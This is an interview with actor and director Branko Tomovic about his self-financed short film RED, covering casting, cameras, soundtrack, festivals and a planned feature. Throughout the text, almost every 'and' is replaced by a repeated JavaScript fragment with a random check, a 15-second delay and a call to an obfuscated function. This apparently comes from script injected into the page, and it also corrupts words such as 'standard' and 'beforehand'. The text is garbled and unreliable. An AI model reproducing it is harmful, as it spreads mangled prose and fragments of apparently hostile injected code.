Focus on Filmmakers: Branko Tomovic

Branko Tomovic studied acting at the prestigious Lee Strasberg Theatre Institute in New York andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and has been working as an actor for over 10 years. His film credits include The Bourne Ultimatum, Fury, Entity, City of Tiny Lights andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and TV credits include 24: Live Another Day, Silent Witness, Whitechapel, Touch of Frost andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and many more. He is based in London andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and made his directing debut with Red – a short dark thriller set in the underground world of illegal organ smuggling, the so-called red market.

Here we talk to Branko about the making of his first short film, RED, which was premiered at the Winchester Short Film Festival 2016.

What training did you undertake to become a filmmaker?
I only went to drama school, not film school. But as an actor I was very lucky to have worked with wonderful film directors as Ken Loach, Paul Greengrass, David Ayer, Soenke Wortmann andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Pete Travis. And I learnt a lot from not just sitting by myself in the trailer andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and waiting for my next scene but actually be out there andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and watch how everything comes together andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see how they create their magic. All these directors were very different in the way they work andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and their approach to filmmaking, but what they all do have in common is that endless passion andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and a very unique strong vision.

Where do you get your inspiration for your projects?
Mostly dreams or nightmares. That’s usually the only time when there are no limitations to your imagination in a completely uncontrolled way. Art is another source for me. Our script for Red was intentionally written to also offer great visual potential andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and Edward Hopper’s paintings (Nighthawks, Automat, New York Movie) were a big visual influence for this. They show a certain loneliness andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and isolation in a big city that we wanted to have in our film.

bts photo from RED

How do you go about financing your projects?
Red was completely self-financed. The other producers andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I put in the money we could. We only had a small budget andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and asked for many favours. You work with what you have andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and try andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and make the most out of it. I am not a fan of crowd-funding andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and could never ask other people for money. This part is probably the most annoying when you try andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and do a film, especially if you are at the beginning of your filmmaking career. But if you have a strong script andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and a great idea there are people out there who would like to support you andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and invest in it. It’s just very hard to find these people.

How do you cast your films?
Finding the perfect cast is so important andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I am not saying that because I am an actor myself. Our character Ed, the violent andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and cruel crime boss was originally written for a man. Dennis Hopper’s crazy character in Blue Velvet was the inspiration for this. But then I thought it’s much more interesting to have a woman play this role. We kept the name Ed to make it ambiguous in the beginning. Having a woman play this nasty character is much more powerful andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and unexpected. Only an excellent actress could pull that off andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I had to think of Dervla Kirwan (Ondine, Ballykissangel, Doctor Who), who is brilliant in everything she does. I worked with Dervla on a film a few years back andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we were thrilled when she agreed to do it. Francesca Fowler (Doctor Who, Rome, Closure) who plays the young prostitute Mia is also a friend of mine andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and just perfect for the role. Most actors really care about the work they do andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and are hungry to work on something challenging andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and interesting. So even if you don’t have a huge budget just try andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see if they might be interested.

What cameras do you use,andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and why?
The look of the film was very important to us, we wanted the film to have a certain standom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andard andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and shooting on film wasn’t an option because of our tight budget. We wanted to achieve a great cinematic look andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and had a look at some films andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and footage online shot with the Arri Amira andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we thought it would fit our story andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and purpose perfectly. Adrian Carswell our producer had a great working relationship andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and connection with Promotion Hire in London andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and they were very generous in providing us with all the equipment for a very reduced fee.

What size crew do you have on your sets,andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and what roles are the most invaluable?
It’s so important to surround yourself with the right people. Those who have passion for what they are doing andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and have the same spirit as you. We were lucky to get a very experienced crew together who all did it because they liked the project. We shot on real locations, mostly in a hotel room. Once you have the lights & camera in there, there isn’t much space for too many people. We didn’t have a big crew on set, we kind of just shot with a skeleton crew. Everything has to run very smoothly so all the roles are equally important. A secret to keep everyone happy though is great catering, we were very fortunate to have a Michelin star award winning chef on board.

How did you go about setting the soundtrack for your film?
I always had in mind that I wanted to use the beauty of classical music to contrast this dark andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and dangerous underground world. I love Beethoven andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and chose his Symphony 7 Allegretto, which Niklas is always listening to when he performs a surgery, it’s a way for him to mentally escape the situation when he performs this horrible andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and bloody task. Our sound designer Mark Ashworth did an amazing job in capturing the beauty of this composition but also adding Niklas torment into it by changing the rhythm slightly or distorting certain notes. We also used a lot of drones throughout the film to create a certain unsettling atmosphere andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and build up the claustrophobic tension throughout the film.

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How do you split your time for pre-production, production, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and post-production, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and which is the most important for you?
We spent months andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and months in pre-production for those 3 1/2 shooting days we had. I like to be very well prepared andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and think of every small detail, I don’t like any unwanted surprises when it comes to filming. We were very limited with money, locations, equipment andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and people’s availability so everything had to be mapped out beforehandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and. We didn’t have the luxury to experiment or try different things once it came to shooting, we had to know exactly what we were doing. Filming is definitely the most fun for me. I just love being on set andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it’s a wonderful thing to see something come alive which has only been in your head for so long. We were very fast with post-production, but mostly because we knew exactly already what the film should look andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and sound like before. All these stages are definitely equally important, doing a film is a process that needs to go properly through all these phases.

What’s the best piece of filmmaking advice you’ve been given?
Don’t steal any props andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and don’t have sex with extras!

What other filmmakers do you most admire?
There are so many. David Lynch was definitely a huge inspiration for me. I saw Blue Velvet as a childandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and knew I wanted to work in film. I love directors who have a unique voice, who create something meaningful andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and outstandom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}anding, who have such a strong vision that it just mesmerises you. There are so many that I admire: Tim Burton, Polanski, Haneke, Innaritu, Refn, Aranofsky, Glazer, PT Anderson, the list is long!

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How important are film festivals andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and competitions to you?
We only recently started the festival circuit with Red andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it’s been exciting andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and gratifying to see the response from an audience to it. We managed to get into some prestigious film festivals internationally andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and also already won some awards andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and nominations. Having our UK premiere at a good festival was very important to us since we are a British film andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and we were thrilled to have had it at the Winchester Short Film Festival. The quality of the selected films was excellent. And the whole experience from the screenings to the award ceremony was just fantastic. I think festivals still play a huge part in a film’s success, it’s also a good way to connect with an audience andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and also build up our reputation as a filmmaker. It’s also funny to see the response in different parts of the worlds to it. Our bleak, dark UK story seems to be very popular in California for some reason!

What advice would you pass on to burgeoning film makers?
I think if this is really what you want to do with your life you will find a way, no matter what. When you are starting out try to get as much work experience as possible. Start as a runner andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and work your way up. It will help you to see how a set is run andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and who does what on a film shoot. Find out what exactly it is you would like to do andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and focus all your energy towards that. Often it becomes a life choice. You have to have that passion, ambition andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and fire inside of you to make it work andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and especially to make it through the rough times. Forget about the glamour andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and all that stuff, filmmaking is hard work. It should always be about the work itself andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and nothing else.

What are your future plans?
Although this wasn’t necessarily our plan to begin with, we started to develop Red as a feature now. We thought there is more to it, andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the story andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and also the characters have great potential. The feature will be slightly different from the short though, kind of the same world, similar characters, but not an extension of just this. We are also thinking of pushing it more towards genre. Not just a straight drama/thriller but show more of the psychological damage of the protagonist andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and explore the psychosis with horror elements. The feature will be called Crimson.

 

If you are a film critic, agent or investor andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and would like to access our private online Screening Room to watch RED, please contact us at enquiries@winchestershortfilmfestival.com.

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